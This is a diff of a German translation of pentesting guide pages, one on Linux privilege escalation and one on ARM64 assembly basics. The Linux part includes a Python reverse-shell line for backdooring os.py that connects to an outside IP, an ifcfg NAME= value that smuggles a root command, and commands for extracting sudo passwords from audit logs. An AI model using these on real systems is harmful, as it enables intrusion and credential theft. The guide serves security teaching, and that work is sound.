audit logs **aufzuzeichnen**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Außerdem können einige "**bad**" konfigurierte (backdoored?) **audit logs** es ermöglichen, **Passwörter in audit logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Um Logs zu lesen, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. +Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. ### Shell-Dateien ```bash @@ -1331,43 +1337,43 @@ Um Logs zu lesen, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.htm ``` ### Generic Creds Search/Regex -Sie sollten auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und außerdem nach IPs und E-Mails in Logs oder Hash-Regexps.\ -Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn Sie interessiert sind, können Sie die letzten Prüfungen ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Du solltest außerdem nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch Logs auf IPs und E‑Mails sowie Hash‑Regexps prüfen.\ +Ich werde hier nicht aufzählen, wie man all das macht, aber wenn du interessiert bist, kannst du dir die letzten Checks ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) durchführt. -## Schreibbare Dateien +## Beschreibbare Dateien ### Python library hijacking -Wenn Sie wissen, von **wo** ein python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder die **python libraries ändern können**, können Sie die OS-Library modifizieren und sie backdooren (wenn Sie an den Ort schreiben können, an dem das python-Skript ausgeführt wird, kopieren Sie die os.py library). +Wenn du weißt, von **wo** ein python-Skript ausgeführt wird und du **in diesen Ordner schreiben kannst** oder python‑Bibliotheken **ändern kannst**, kannst du die OS‑Bibliothek modifizieren und backdoor it (wenn du dorthin schreiben kannst, wo das python‑Skript ausgeführt wird, kopiere die os.py‑Bibliothek und füge sie ein). -Um die **backdoor the library** vorzunehmen, fügen Sie einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT ändern): +Um die Bibliothek zu backdooren, füge einfach am Ende der os.py‑Bibliothek die folgende Zeile hinzu (IP und PORT ändern): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate-Ausnutzung +### Logrotate exploitation -Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** auf eine Logdatei oder deren übergeordnete Verzeichnisse, potenziell erhöhte Privilegien zu erlangen. Das liegt daran, dass `logrotate`, das oft als **root** läuft, so manipuliert werden kann, dass es beliebige Dateien ausführt — insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird. +Eine Schwachstelle in `logrotate` erlaubt es Benutzern mit **Schreibrechten** auf eine Log-Datei oder deren übergeordnete Verzeichnisse, unter Umständen Privilegien zu eskalieren. Das liegt daran, dass `logrotate`, das oft als **root** läuft, manipuliert werden kann, um beliebige Dateien auszuführen — besonders in Verzeichnissen wie _**/etc/bash_completion.d/**_. Wichtig ist, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Log-Rotation angewendet wird. > [!TIP] > Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und älter -Detailliertere Informationen zur Schwachstelle finden sich auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Mehr Details zur Schwachstelle finden sich auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Du kannst diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen. -Diese Schwachstelle ist der [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** sehr ähnlich. Wenn du also feststellen kannst, dass du Logs verändern kannst, prüfe, wer diese Logs verwaltet, und ob du durch Ersetzen der Logs mit symlinks Privilegien eskalieren kannst. +Diese Schwachstelle ist der von [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** sehr ähnlich. Wann immer du Logs verändern kannst, prüfe, wer diese Logs verwaltet und ob du durch Ersetzen der Logs durch Symlinks Privilegien eskalieren kannst. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referenz zur Schwachstelle:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Wenn ein Benutzer aus welchem Grund auch immer in der Lage ist, ein `ifcf-`-Script nach _/etc/sysconfig/network-scripts_ zu **schreiben** oder ein bestehendes anzupassen, dann ist Ihr **System ist pwned**. +Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-`-Skript nach _/etc/sysconfig/network-scripts_ zu **schreiben** oder ein vorhandenes anzupassen, dann ist dein **system is pwned**. -Network scripts, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch unter Linux vom Network Manager (dispatcher.d) \~sourced\~. +Network-Skripte, z. B. _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch unter Linux vom Network Manager (dispatcher.d) per 'source' eingebunden. -In meinem Fall wird das `NAME=`-Attribut in diesen Network-Skripten nicht korrekt behandelt. Wenn du **Leerzeichen im Namen hast, versucht das System den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. +In meinem Fall wird das `NAME=`-Attribut in diesen Network-Skripten nicht korrekt behandelt. Wenn du **ein Leerzeichen im Namen hast, versucht das System den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. -Zum Beispiel: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1375,15 +1381,15 @@ DEVICE=eth0 ``` (_Beachte das Leerzeichen zwischen Network und /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, und rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Das Verzeichnis `/etc/init.d` beherbergt **Skripte** für System V init (SysVinit), das **klassische Linux-Dienstverwaltungssystem**. Es enthält Skripte zum `start`en, `stop`pen, `restart`en und manchmal `reload`en von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +Auf der anderen Seite ist `/etc/init` mit **Upstart** verbunden, einem neueren Dienstverwaltungssystem, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet. -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd** hat sich als moderner Initialisierer und Service-Manager etabliert und bietet fortgeschrittene Funktionen wie bedarfsorientiertes Starten von Daemons, Automount-Verwaltung und Snapshots des Systemzustands. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoranpassungen und vereinfacht so die Systemadministration. -## Other Tricks +## Weitere Tricks ### NFS Privilege escalation @@ -1408,38 +1414,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen Userspace-Manager preiszugeben. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, den Manager zu imitieren und auf bereits-rooted Geräten auf root zu eskalieren. Mehr dazu und Exploit-Details hier: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Kernel-Sicherheitsmechanismen - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Mehr Hilfe [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Bestes Tool, um nach lokalen Linux privilege escalation Vektoren zu suchen:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Kernel-Schwachstellen in Linux und macOS auflisten [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Zusammenstellung weiterer Skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Referenzen - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index ca4ff9c24..a34746588 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -2,254 +2,257 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Ausnahmeebenen - EL (ARM64v8)** +## **Exception Levels - EL (ARM64v8)** -In der ARMv8-Architektur definieren die Ausführungsebenen, bekannt als Ausnahmeebenen (ELs), das Privilegieniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Ausnahmeebenen, die von EL0 bis EL3 reichen, wobei jede eine andere Funktion erfüllt: +In der ARMv8-Architektur definieren Ausführungslevel, bekannt als Exception Levels (ELs), das Privilegniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Exception Levels, von EL0 bis EL3, die jeweils unterschiedliche Zwecke erfüllen: -1. **EL0 - Benutzermodus**: -- Dies ist die am wenigsten privilegierte Ebene und wird zur Ausführung regulärer Anwendungssoftware verwendet. -- Anwendungen, die auf EL0 ausgeführt werden, sind voneinander und von der Systemsoftware isoliert, was die Sicherheit und Stabilität erhöht. -2. **EL1 - Betriebssystem-Kernelmodus**: -- Die meisten Betriebssystemkerne laufen auf dieser Ebene. -- EL1 hat mehr Privilegien als EL0 und kann auf Systemressourcen zugreifen, jedoch mit einigen Einschränkungen, um die Systemintegrität zu gewährleisten. -3. **EL2 - Hypervisor-Modus**: -- Diese Ebene wird für Virtualisierung verwendet. Ein Hypervisor, der auf EL2 läuft, kann mehrere Betriebssysteme (jeweils in ihrem eigenen EL1) verwalten, die auf derselben physischen Hardware laufen. -- EL2 bietet Funktionen zur Isolation und Kontrolle der virtualisierten Umgebungen. -4. **EL3 - Sicherer Monitor-Modus**: -- Dies ist die privilegierteste Ebene und wird häufig für sicheres Booten und vertrauenswürdige Ausführungsumgebungen verwendet. -- EL3 kann Zugriffe zwischen sicheren und nicht sicheren Zuständen (wie sicherem Booten, vertrauenswürdigem OS usw.) verwalten und steuern. +1. **EL0 - User Mode**: +- Dies ist das am wenigsten privilegierte Level und wird zum Ausführen gewöhnlicher Anwendungsprogramme verwendet. +- Anwendungen, die in EL0 laufen, sind voneinander und vom Systemsoftware isoliert, was Sicherheit und Stabilität erhöht. +2. **EL1 - Operating System Kernel Mode**: +- Die meisten Betriebssystemkerne laufen auf diesem Level. +- EL1 hat mehr Privilegien als EL0 und kann auf Systemressourcen zugreifen, jedoch mit einigen Beschränkungen, um die Systemintegrität zu gewährleisten. +3. **EL2 - Hypervisor Mode**: +- Dieses Level wird für Virtualisierung verwendet. Ein Hypervisor, der in EL2 läuft, kann mehrere Betriebssysteme (jeweils in ihrem eigenen EL1) auf derselben physischen Hardware verwalten. +- EL2 bietet Funktionen zur Isolation und Steuerung der virtualisierten Umgebungen. +4. **EL3 - Secure Monitor Mode**: +- Dies ist das privilegierteste Level und wird häufig für Secure Boot und Trusted Execution Environments verwendet. +- EL3 kann Zugriffe zwischen sicheren und nicht-sicheren Zuständen verwalten und kontrollieren (z. B. secure boot, trusted OS usw.). -Die Verwendung dieser Ebenen ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis hin zu den privilegiertesten Systemsoftware. Der Ansatz von ARMv8 zu Privilegienebenen hilft, verschiedene Systemkomponenten effektiv zu isolieren, wodurch die Sicherheit und Robustheit des Systems erhöht wird. +Die Verwendung dieser Level ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis zur höchst privilegierten Systemsoftware. Der ARMv8-Ansatz zu Privileglevels hilft dabei, verschiedene Systemkomponenten effektiv zu isolieren und so die Sicherheit und Robustheit des Systems zu verbessern. -## **Register (ARM64v8)** +## **Registers (ARM64v8)** -ARM64 hat **31 allgemeine Register**, die von `x0` bis `x30` beschriftet sind. Jedes kann einen **64-Bit** (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte erfordern, können dieselben Register im 32-Bit-Modus mit den Namen w0 bis w30 angesprochen werden. +ARM64 hat **31 allgemeine Register**, bezeichnet `x0` bis `x30`. Jedes kann einen **64-Bit** (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte benötigen, können dieselben Register im 32-Bit-Modus über die Namen `w0` bis `w30` angesprochen werden. -1. **`x0`** bis **`x7`** - Diese werden typischerweise als Scratch-Register und zum Übergeben von Parametern an Unterprogramme verwendet. +1. **`x0`** bis **`x7`** - Diese werden typischerweise als temporäre Register und zum Übergeben von Parametern an Subroutinen verwendet. - **`x0`** trägt auch die Rückgabedaten einer Funktion. -2. **`x8`** - Im Linux-Kernel wird `x8` als Systemaufrufnummer für die `svc`-Anweisung verwendet. **In macOS wird x16 verwendet!** -3. **`x9`** bis **`x15`** - Weitere temporäre Register, die oft für lokale Variablen verwendet werden. -4. **`x16`** und **`x17`** - **Intra-prozedurale Aufrufregister**. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT (Procedure Linkage Table) Stub verwendet. -- **`x16`** wird als **Systemaufrufnummer** für die **`svc`**-Anweisung in **macOS** verwendet. -5. **`x18`** - **Plattformregister**. Es kann als allgemeines Register verwendet werden, aber auf einigen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Zeiger auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die aktuell **ausführende Aufgabenstruktur im Linux-Kernel** zu zeigen. -6. **`x19`** bis **`x28`** - Dies sind callee-saved Register. Eine Funktion muss die Werte dieser Register für ihren Aufrufer bewahren, sodass sie im Stack gespeichert und vor der Rückkehr zum Aufrufer wiederhergestellt werden. -7. **`x29`** - **Frame-Zeiger**, um den Stackrahmen zu verfolgen. Wenn ein neuer Stackrahmen erstellt wird, weil eine Funktion aufgerufen wird, wird das **`x29`**-Register **im Stack gespeichert** und die **neue** Frame-Zeigeradresse (Adresse von **`sp`**) wird **in diesem Register gespeichert**. -- Dieses Register kann auch als **allgemeines Register** verwendet werden, obwohl es normalerweise als Referenz für **lokale Variablen** verwendet wird. -8. **`x30`** oder **`lr`** - **Link-Register**. Es hält die **Rückgabeadresse**, wenn eine `BL` (Branch with Link) oder `BLR` (Branch with Link to Register) Anweisung ausgeführt wird, indem der **`pc`**-Wert in diesem Register gespeichert wird. -- Es könnte auch wie jedes andere Register verwendet werden. -- Wenn die aktuelle Funktion eine neue Funktion aufrufen und daher `lr` überschreiben wird, wird sie zu Beginn im Stack gespeichert, dies ist der Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichern von `fp` und `lr`, Platz schaffen und neuen `fp` erhalten) und am Ende wiederhergestellt, dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr). -9. **`sp`** - **Stack-Zeiger**, der verwendet wird, um den oberen Teil des Stacks zu verfolgen. -- Der **`sp`**-Wert sollte immer mindestens auf eine **Quadword**-**Ausrichtung** gehalten werden, da sonst eine Ausrichtungsfehler auftreten kann. -10. **`pc`** - **Program Counter**, der auf die nächste Anweisung zeigt. Dieses Register kann nur durch Ausnahmeerzeugungen, Ausnahme-Rückgaben und Sprünge aktualisiert werden. Die einzigen gewöhnlichen Anweisungen, die dieses Register lesen können, sind Sprünge mit Link-Anweisungen (BL, BLR), um die **`pc`**-Adresse im **`lr`** (Link-Register) zu speichern. -11. **`xzr`** - **Null-Register**. Auch in seiner **32**-Bit-Registerform als **`wzr`** bezeichnet. Kann verwendet werden, um den Nullwert einfach zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen, wie **`subs XZR, Xn, #10`**, wobei die resultierenden Daten nirgendwo gespeichert werden (in **`xzr`**). +2. **`x8`** - Im Linux-Kernel wird `x8` als Systemcall-Nummer für die `svc`-Instruktion verwendet. **In macOS ist jedoch `x16` die verwendete!** +3. **`x9`** bis **`x15`** - Weitere temporäre Register, oft für lokale Variablen verwendet. +4. **`x16`** und **`x17`** - **Intra-procedural Call Registers**. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT-Stubs verwendet. +- **`x16`** wird in **macOS** als **Systemcall-Nummer** für die **`svc`**-Instruktion verwendet. +5. **`x18`** - **Platform register**. Es kann als allgemeines Register verwendet werden, aber auf manchen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Pointer auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die momentan **ausführende task structure im linux kernel** zu zeigen. +6. **`x19`** bis **`x28`** - Dies sind vom Callee zu sichernde Register. Eine Funktion muss die Werte dieser Register für ihren Caller erhalten, daher werden sie auf dem Stack gespeichert und vor der Rückkehr zum Caller wiederhergestellt. +7. **`x29`** - **Frame pointer**, um den Stackframe nachzuverfolgen. Wenn ein neuer Stackframe erstellt wird, weil eine Funktion aufgerufen wird, wird das **`x29`**-Register **im Stack gespeichert** und die **neue** Frame-Pointer-Adresse (die **`sp`**-Adresse) wird in diesem Register **gespeichert**. +- Dieses Register kann auch als **allgemeines Register** verwendet werden, obwohl es normalerweise als Referenz für **lokale Variablen** dient. +8. **`x30`** oder **`lr`** - **Link register**. Es hält die **Rücksprungadresse**, wenn eine `BL` (Branch with Link) oder `BLR` (Branch with Link to Register) Instruktion ausgeführt wird, indem der aktuelle **`pc`**-Wert in dieses Register gespeichert wird. +- Es kann auch wie jedes andere Register verwendet werden. +- Wenn die aktuelle Funktion eine neue Funktion aufruft und dadurch `lr` überschrieben wird, wird `lr` zu Beginn auf dem Stack gespeichert; dies ist das Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichere `fp` und `lr`, generiere Platz und setze neuen `fp`) und am Ende wiederhergestellt; dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr). +9. **`sp`** - **Stack pointer**, verwendet, um die Spitze des Stacks zu verfolgen. +- Der **`sp`**-Wert sollte immer mindestens eine **Quadword-Ausrichtung** haben, sonst kann eine Alignment-Exception auftreten. +10. **`pc`** - **Program counter**, der auf die nächste Instruktion zeigt. Dieses Register kann nur durch das Erzeugen von Exceptions, Exception-Returns und Branches aktualisiert werden. Die einzigen gewöhnlichen Instruktionen, die dieses Register lesen können, sind Branch-with-Link-Instruktionen (BL, BLR), um die **`pc`**-Adresse in **`lr`** (Link Register) zu speichern. +11. **`xzr`** - **Zero register**. Auch als **`wzr`** in seiner **32**-Bit-Form bezeichnet. Kann verwendet werden, um leicht den Nullwert zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen wie **`subs XZR, Xn, #10`**, wobei das Ergebnis nirgendwo gespeichert wird (in **`xzr`**). -Die **`Wn`**-Register sind die **32-Bit**-Version der **`Xn`**-Register. +Die **`Wn`** Register sind die **32bit** Version der **`Xn`** Register. -### SIMD- und Gleitkomma-Register +> [!TIP] +> Die Register von `X0` - `X18` sind volatil, das bedeutet, dass ihre Werte durch Funktionsaufrufe und Interrupts geändert werden können. Die Register von `X19` - `X28` sind hingegen nicht-volatile, was bedeutet, dass ihre Werte über Funktionsaufrufe hinweg erhalten bleiben müssen ("callee saved"). -Darüber hinaus gibt es weitere **32 Register mit einer Länge von 128 Bit**, die in optimierten Single Instruction Multiple Data (SIMD)-Operationen und zur Durchführung von Gleitkomma-Arithmetik verwendet werden können. Diese werden als Vn-Register bezeichnet, obwohl sie auch in **64**-Bit, **32**-Bit, **16**-Bit und **8**-Bit betrieben werden können und dann als **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** und **`Bn`** bezeichnet werden. +### SIMD and Floating-Point Registers -### Systemregister +Außerdem gibt es weitere **32 Register mit 128bit Länge**, die in optimierten Single Instruction Multiple Data (SIMD)-Operationen und für Gleitkommaberechnungen verwendet werden können. Diese werden als Vn-Register bezeichnet, obwohl sie auch in **64**-Bit-, **32**-Bit-, **16**-Bit- und **8**-Bit-Form betrieben werden können und dann **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** und **`Bn`** genannt werden. -**Es gibt Hunderte von Systemregistern**, auch als spezielle Register (SPRs) bezeichnet, die zur **Überwachung** und **Steuerung** des Verhaltens von **Prozessoren** verwendet werden.\ -Sie können nur mit den speziellen Anweisungen **`mrs`** und **`msr`** gelesen oder gesetzt werden. +### System Registers -Die speziellen Register **`TPIDR_EL0`** und **`TPIDDR_EL0`** sind häufig beim Reverse Engineering zu finden. Der `EL0`-Suffix zeigt die **minimale Ausnahme** an, von der aus das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Ausnahmeniveau (Privilegienniveau), mit dem reguläre Programme ausgeführt werden).\ -Sie werden oft verwendet, um die **Basisadresse des thread-lokalen Speicherbereichs** im Speicher zu speichern. In der Regel ist das erste für Programme, die in EL0 laufen, lesbar und schreibbar, aber das zweite kann von EL0 gelesen und von EL1 (wie Kernel) geschrieben werden. +**Es gibt Hunderte von Systemregistern**, auch Special-Purpose Registers (SPRs) genannt, die zur **Überwachung** und **Steuerung** des Verhaltens von **Prozessoren** verwendet werden.\ +Sie können nur mit den speziellen Instruktionen **`mrs`** und **`msr`** gelesen oder gesetzt werden. -- `mrs x0, TPIDR_EL0 ; Lese TPIDR_EL0 in x0` -- `msr TPIDR_EL0, X0 ; Schreibe x0 in TPIDR_EL0` +Die Spezialregister **`TPIDR_EL0`** und **`TPIDDR_EL0`** tauchen häufig beim Reverse Engineering auf. Der Suffix `EL0` gibt die **minimal notwendige Exception** an, aus der das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Exception- (Privileg-)Level, in dem normale Programme laufen).\ +Sie werden oft verwendet, um die **Basisadresse des thread-local storage** Speicherbereichs zu speichern. Üblicherweise ist das erste les- und schreibbar für Programme, die in EL0 laufen, während das zweite von EL0 gelesen und von EL1 geschrieben werden kann (z. B. Kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** enthält mehrere Prozesskomponenten, die in das vom Betriebssystem sichtbare **`SPSR_ELx`**-Sonderregister serialisiert sind, wobei X das **Berechtigungs**-**niveau der ausgelösten** Ausnahme angibt (dies ermöglicht es, den Prozesszustand wiederherzustellen, wenn die Ausnahme endet).\ +**PSTATE** enthält mehrere Prozesskomponenten, die in das für das Betriebssystem sichtbare **`SPSR_ELx`** Spezialregister serialisiert sind, wobei X das **Berechtigungslevel der ausgelösten** Exception ist (das ermöglicht die Wiederherstellung des Prozesszustands, wenn die Exception beendet ist).\ Dies sind die zugänglichen Felder:
-- Die **`N`**, **`Z`**, **`C`** und **`V`** Bedingungsflags: -- **`N`** bedeutet, dass die Operation ein negatives Ergebnis geliefert hat. -- **`Z`** bedeutet, dass die Operation null ergeben hat. -- **`C`** bedeutet, dass die Operation einen Übertrag hatte. -- **`V`** bedeutet, dass die Operation einen signierten Überlauf ergeben hat: -- Die Summe von zwei positiven Zahlen ergibt ein negatives Ergebnis. -- Die Summe von zwei negativen Zahlen ergibt ein positives Ergebnis. -- Bei der Subtraktion, wenn eine große negative Zahl von einer kleineren positiven Zahl (oder umgekehrt) subtrahiert wird und das Ergebnis nicht im Bereich der gegebenen Bitgröße dargestellt werden kann. -- Offensichtlich weiß der Prozessor nicht, ob die Operation signiert ist oder nicht, daher wird er C und V in den Operationen überprüfen und anzeigen, ob ein Übertrag aufgetreten ist, falls es signiert oder nicht signiert war. +- Die Bedingungsflags **`N`**, **`Z`**, **`C`** und **`V``**: +- **`N`** bedeutet, dass die Operation ein negatives Ergebnis lieferte. +- **`Z`** bedeutet, dass die Operation Null lieferte. +- **`C`** bedeutet, dass ein Übertrag (carry) aufgetreten ist. +- **`V`** bedeutet, dass die Operation einen vorzeichenbehafteten Überlauf lieferte: + - Die Summe zweier positiver Zahlen ergibt ein negatives Ergebnis. + - Die Summe zweier negativer Zahlen ergibt ein positives Ergebnis. + - Bei Subtraktionen, wenn eine große negative Zahl von einer kleineren positiven Zahl subtrahiert wird (oder umgekehrt) und das Ergebnis nicht innerhalb des darstellbaren Bereichs der gegebenen Bitgröße liegt. +- Offensichtlich weiß der Prozessor nicht, ob die Operation vorzeichenbehaftet ist oder nicht, daher prüft er C und V in den Operationen und zeigt an, ob ein Carry aufgetreten ist, unabhängig davon, ob es vorzeichenbehaftet oder vorzeichenlos war. > [!WARNING] -> Nicht alle Anweisungen aktualisieren diese Flags. Einige wie **`CMP`** oder **`TST`** tun dies, und andere, die ein s-Suffix haben, wie **`ADDS`**, tun es ebenfalls. +> Nicht alle Instruktionen aktualisieren diese Flags. Einige wie **`CMP`** oder **`TST`** tun es, und andere, die ein `s`-Suffix haben wie **`ADDS`**, tun es ebenfalls. -- Das aktuelle **Registerbreite (`nRW`) Flag**: Wenn das Flag den Wert 0 hat, wird das Programm im AArch64-Ausführungszustand ausgeführt, sobald es fortgesetzt wird. -- Das aktuelle **Ausnahmelevel** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0. -- Das **Single-Stepping**-Flag (**`SS`**): 